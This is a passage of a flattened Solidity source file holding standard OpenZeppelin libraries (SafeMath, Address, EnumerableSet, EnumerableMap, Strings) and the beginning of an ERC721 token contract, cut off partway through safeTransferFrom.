* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
